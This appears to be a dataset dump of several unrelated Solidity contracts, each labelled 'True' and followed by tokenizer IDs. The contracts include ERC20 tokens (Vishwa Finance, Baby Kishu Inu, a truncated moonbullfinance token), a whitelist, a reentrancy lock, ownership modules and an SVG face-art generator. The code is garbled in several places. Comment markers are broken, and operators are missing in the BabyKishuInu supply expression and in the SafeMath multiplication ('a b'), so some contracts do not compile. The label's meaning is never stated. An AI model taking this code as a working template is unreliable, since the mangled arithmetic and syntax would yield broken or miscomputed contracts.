require(paused(), "Pausable: not paused"); _; } /* * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. / function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /* * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. / function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract VishwaFinance is ERC20, ERC20Burnable, Pausable, Ownable { constructor() ERC20("Vishwa Finance", "VFT") { _mint(msg.sender, 10000000000000000000000000 ); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused override { super._beforeTokenTransfer(from, to, amount); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 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// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Lockable.sol"; /** * @title A contract to track a whitelist of addresses. / contract AddressWhitelist is Ownable, Lockable { enum Status { None, In, Out } mapping(address => Status) public whitelist; address[] public whitelistIndices; event AddedToWhitelist(address indexed addedAddress); event RemovedFromWhitelist(address indexed removedAddress); /* * @notice Adds an address to the whitelist. * @param newElement the new address to add. / function addToWhitelist(address newElement) external nonReentrant() onlyOwner { // Ignore if address is already included if (whitelist[newElement] == Status.In) { return; } // Only append new addresses to the array, never a duplicate if (whitelist[newElement] == Status.None) { whitelistIndices.push(newElement); } whitelist[newElement] = Status.In; emit AddedToWhitelist(newElement); } /* * @notice Removes an address from the whitelist. * @param elementToRemove the existing address to remove. / function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner { if (whitelist[elementToRemove] != Status.Out) { whitelist[elementToRemove] = Status.Out; emit RemovedFromWhitelist(elementToRemove); } } /* * @notice Checks whether an address is on the whitelist. * @param elementToCheck the address to check. * @return True if `elementToCheck` is on the whitelist, or False. / function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) { return whitelist[elementToCheck] == Status.In; } /* * @notice Gets all addresses that are currently included in the whitelist. * @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out * of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we * can modify the implementation so that when addresses are removed, the last addresses in the array is moved to * the empty index. * @return activeWhitelist the list of addresses on the whitelist. / function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) { // Determine size of whitelist first uint256 activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { if (whitelist[whitelistIndices[i]] == Status.In) { activeCount++; } } // Populate whitelist activeWhitelist = new address[](activeCount); activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { address addr = whitelistIndices[i]; if (whitelist[addr] == Status.In) { activeWhitelist[activeCount] = addr; activeCount++; } } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /* * @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract * is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol * and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol. / contract Lockable { bool private _notEntered; constructor() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { _preEntranceCheck(); _preEntranceSet(); _; _postEntranceReset(); } /* * @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method. / modifier nonReentrantView() { _preEntranceCheck(); _; } // Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method. // On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered. // Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`. // View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered. function _preEntranceCheck() internal view { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); } function _preEntranceSet() internal { // Any calls to nonReentrant after this point will fail _notEntered = false; } function _postEntranceReset() internal { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } pragma solidity ^0.6.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; import "../GSN/Context.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2069, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 5843, 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// //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; contract FaceImageData { function getLabel(uint256 slot) public pure returns (string memory) { string[30] memory names = [ "Red Lipstick", "Light Blue Goggles", "Black Goggles", "Fashion Glasses", "Light Blue Wrap Around Shades", "Black Wrap Around Shades", "Disguise", "3D Glasses", "Smile", "Serious", "Smile with Beard", "Serious with Beard", "Wink", "Wink with Beard", "Eyebrows", "Eyebrows with Beard", "Mustache", "Mustache", "Skeleton", "Monocle", "Monocle with Beard", "Eyepatch", "Eyepatch with Beard", "Smoking", "Black Aviator Glasses", "Black Aviator Glasses with Beard", "Round Glasses", "Round Glasses with Beard", "Black Round Glasses", "Black Round Glasses with Beard" ]; return names[slot % names.length]; } struct PathData { string d; string fill; } struct SVGComposition { PathData[3] paths; } function pathDataToSVG(PathData memory pathData) private pure returns (bytes memory) { if (bytes(pathData.d).length == 0) return bytes(""); return abi.encodePacked( '<path fill-rule="evenodd" clip-rule="evenodd" d="', pathData.d, '" fill="', bytes(pathData.fill).length > 0 ? pathData.fill : "black", '" />' ); } function getData(uint256 slot) public pure returns (bytes memory) { SVGComposition[30] memory svgData = [ SVGComposition( [ PathData("M10 15H11V16H14V15H15V14H10V15Z", "#DD1A21"), PathData("M9 11H11V13H9V11ZM14 11H16V13H14V11Z", ""), PathData("", "") ] ), SVGComposition( [ PathData("M17 11V13H13V12H12V13H8V11H17Z", "#78BFEA"), PathData( "M8 10H17V11H8V10ZM8 13V11H6V12H7V13H8ZM12 13V14H8V13H12ZM13 13H12V12H13V13ZM17 13V14H13V13H17ZM17 13H18V12H19V11H17V13ZM14 15H11V16H14V15Z", "" ), PathData("", "") ] ), SVGComposition( [ PathData( "M17 10V11H19V12H18V13H17V14H13V13H12V14H8V13H7V12H6V11H8V10H17ZM11 15H14V16H11V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M18 10V11H19V12H18V13H17V14H14V13H13V12H12V13H11V14H8V13H7V12H6V11H7V10H8V9H11V10H12V11H13V10H14V9H17V10H18ZM11 15H14V16H11V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M19 10V11H18V12H17V13H14V12H11V13H8V12H7V11H6V10H19Z", "#78BFEA" ), PathData( "M19 9H6V10H5V11H6V12H7V13H8V14H11V13H14V14H17V13H18V12H19V11H20V10H19V9ZM19 10V11H18V12H17V13H14V12H11V13H8V12H7V11H6V10H19ZM14 15H11V16H14V15Z", "" ), PathData("", "") ] ), SVGComposition( [ PathData( "M19 10V9H6V10H5V11H6V12H7V13H8V14H11V13H14V14H17V13H18V12H19V11H20V10H19Z", "" ), PathData("M14 15H11V16H14V15Z", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M9 8H11V9H9V8ZM9 10H8V9H9V10ZM11 11V10H9V11H8V13H9V14H11V15H10V16H15V15H14V14H16V13H17V11H16V10H17V9H16V8H14V9H16V10H14V11H11ZM11 13V14H14V13H16V11H14V13H13V12H12V13H11ZM11 13H9V11H11V13Z", "" ), PathData("M9 11H11V13H9V11ZM14 11H16V13H14V11Z", "#F4F4F4"), PathData("M13 13V12H12V13H11V14H14V13H13Z", "#FCC39E") ] ), SVGComposition( [ PathData( "M7 14V10H18V14H13V12H12V14H7ZM8 13H11V11H8V13ZM14 13H17V11H14V13ZM11 15H14V16H11V15Z", "" ), PathData("M11 11H8V13H11V11Z", "#00A3DA"), PathData("M17 11H14V13H17V11Z", "#DD1A21") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 11H14V13H16V11ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 11H14V13H16V11ZM10 15H15V16H10V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 11H14V13H16V11ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 11H14V13H16V11ZM10 15H15V16H10V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 12H14V13H16V12ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M11 11H9V13H11V11ZM16 12H14V13H16V12ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M11 9H9V10H8V11H9V13H11V11H9V10H11V9ZM16 11H14V13H16V11ZM16 10H17V11H16V10ZM16 10H14V9H16V10ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M11 9H9V10H8V11H9V13H11V11H9V10H11V9ZM16 11H14V13H16V11ZM16 10H17V11H16V10ZM16 10H14V9H16V10ZM11 15H14V16H11V15ZM11 15H10V14H11V15ZM14 15H15V14H14V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M9 11H11V13H9V11ZM14 11H16V13H14V11ZM10 15H9V16H12V14H10V15ZM16 16H13V14H15V15H16V16Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M9 11H11V13H9V11ZM14 11H16V13H14V11ZM10 15H9V16H12V14H10V15ZM16 16H13V14H15V15H16V16Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M9 11H11V13H9V11ZM14 11H16V13H14V11ZM13 13H12V15H13V13ZM8 15V14H10V16H9V15H8ZM10 16H11V17H10V16ZM15 16H16V15H17V14H15V16ZM15 16V17H14V16H15ZM13 16H12V17H13V16Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData("M16 11H14V13H16V11Z", "#78BFEA"), PathData( "M16 10H14V11H13V13H14V14H16V13H17V11H16V10ZM16 11V13H14V11H16ZM11 11H9V13H11V11ZM14 15H11V14H10V15H11V16H14V15Z", "" ), PathData("", "") ] ), SVGComposition( [ PathData("M16 11H14V13H16V11Z", "#78BFEA"), PathData( "M16 10H14V11H13V13H14V14H16V13H17V11H16V10ZM16 11V13H14V11H16ZM11 11H9V13H11V11ZM14 15H11V14H10V15H11V16H14V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ) ] ), SVGComposition( [ PathData( "M9 7H10V8H9V7ZM11 9H10V8H11V9ZM12 10H11V9H12V10ZM18 10H12V11H13V13H17V11H18V10ZM18 10H19V9H18V10ZM9 11V13H11V11H9ZM15 14H14V15H11V14H10V15H11V16H14V15H15V14Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M9 7H10V8H9V7ZM11 9H10V8H11V9ZM12 10H11V9H12V10ZM18 10H12V11H13V13H17V11H18V10ZM18 10H19V9H18V10ZM9 11V13H11V11H9ZM15 14H14V15H11V14H10V15H11V16H14V15H15V14Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData( "M9 11H11V13H9V11ZM14 11H16V13H14V11ZM14 14H10V15H14V16H15V15H14V14Z", "" ), PathData("M16 16H15V17H16V16Z", "#DD1A21"), PathData("", "") ] ), SVGComposition( [ PathData( "M17 10V11H18V12H17V13H14V12H13V11H12V12H11V13H8V12H7V11H8V10H17ZM10 14H11V15H10V14ZM14 15V16H11V15H14ZM14 15V14H15V15H14Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M17 10V11H18V12H17V13H14V12H13V11H12V12H11V13H8V12H7V11H8V10H17ZM10 14H11V15H10V14ZM14 15V16H11V15H14ZM14 15V14H15V15H14Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ), SVGComposition( [ PathData("M9 11H11V13H9V11ZM14 11H16V13H14V11Z", "#78BFEA"), PathData( "M9 10H11V11H9V10ZM9 13H8V12H7V11H9V13ZM11 13V14H9V13H11ZM14 13H13V12H12V13H11V11H14V13ZM16 13H14V14H16V13ZM16 11H18V12H17V13H16V11ZM16 11H14V10H16V11ZM11 15H14V16H11V15Z", "" ), PathData("", "") ] ), SVGComposition( [ PathData("M9 11H11V13H9V11ZM14 11H16V13H14V11Z", "#78BFEA"), PathData( "M9 10H11V11H9V10ZM9 13H8V12H7V11H9V13ZM11 13V14H9V13H11ZM14 13H13V12H12V13H11V11H14V13ZM16 13H14V14H16V13ZM16 11H18V12H17V13H16V11ZM16 11H14V10H16V11ZM11 15H14V16H11V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ) ] ), SVGComposition( [ PathData( "M16 10V11H18V12H17V13H16V14H14V13H13V12H12V13H11V14H9V13H8V12H7V11H9V10H11V11H14V10H16ZM11 15H14V16H11V15Z", "" ), PathData("", ""), PathData("", "") ] ), SVGComposition( [ PathData( "M16 10V11H18V12H17V13H16V14H14V13H13V12H12V13H11V14H9V13H8V12H7V11H9V10H11V11H14V10H16ZM11 15H14V16H11V15Z", "" ), PathData( "M7 15H6V16H7V17H8V18H9V17H10V18H11V17H10V16H9V15H8V16H7V15ZM8 16V17H9V16H8ZM12 17H13V18H12V17ZM15 17H14V18H15V17ZM16 16H15V17H16V18H17V17H18V16H19V15H18V16H17V15H16V16ZM16 16V17H17V16H16Z", "#491702" ), PathData("", "") ] ) ]; SVGComposition memory comp = svgData[slot % svgData.length]; bytes memory svg = ""; svg = abi.encodePacked(svg, pathDataToSVG(comp.paths[0])); svg = abi.encodePacked(svg, pathDataToSVG(comp.paths[1])); svg = abi.encodePacked(svg, pathDataToSVG(comp.paths[2])); return svg; } }	True	[ 101, 1013, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 3206, 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// SPDX-License-Identifier: Unlicensed pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract BabyKishuInu is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Baby Kishu Inu"; symbol = "BKISHU"; decimals = 18; _totalSupply = 1 * 10*11 10*18; balances[msg.sender] = 1 10*11 10**18; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 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/* _____ ______ ________ ________ ________ ________ ___ ___ ___ ___ \|\ _ \ _ \\|\ __ \\|\ __ \\|\ ___ \\|\ __ \\|\ \\|\ \\|\ \ \|\ \ \ \ \\\__\ \ \ \ \\|\ \ \ \\|\ \ \ \\ \ \ \ \\|\ /\ \ \\\ \ \ \ \ \ \ \ \ \\\|__\| \ \ \ \\\ \ \ \\\ \ \ \\ \ \ \ __ \ \ \\\ \ \ \ \ \ \ \ \ \ \ \ \ \ \\\ \ \ \\\ \ \ \\ \ \ \ \\|\ \ \ \\\ \ \ \____\ \ \____ \ \__\ \ \__\ \_______\ \_______\ \__\\ \__\ \_______\ \_______\ \_______\ \_______\ \\|__\| \\|__\|\\|_______\|\\|_______\|\\|__\| \\|__\|\\|_______\|\\|_______\|\\|_______\|\\|_______\| t.me/moonbullfinance / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // 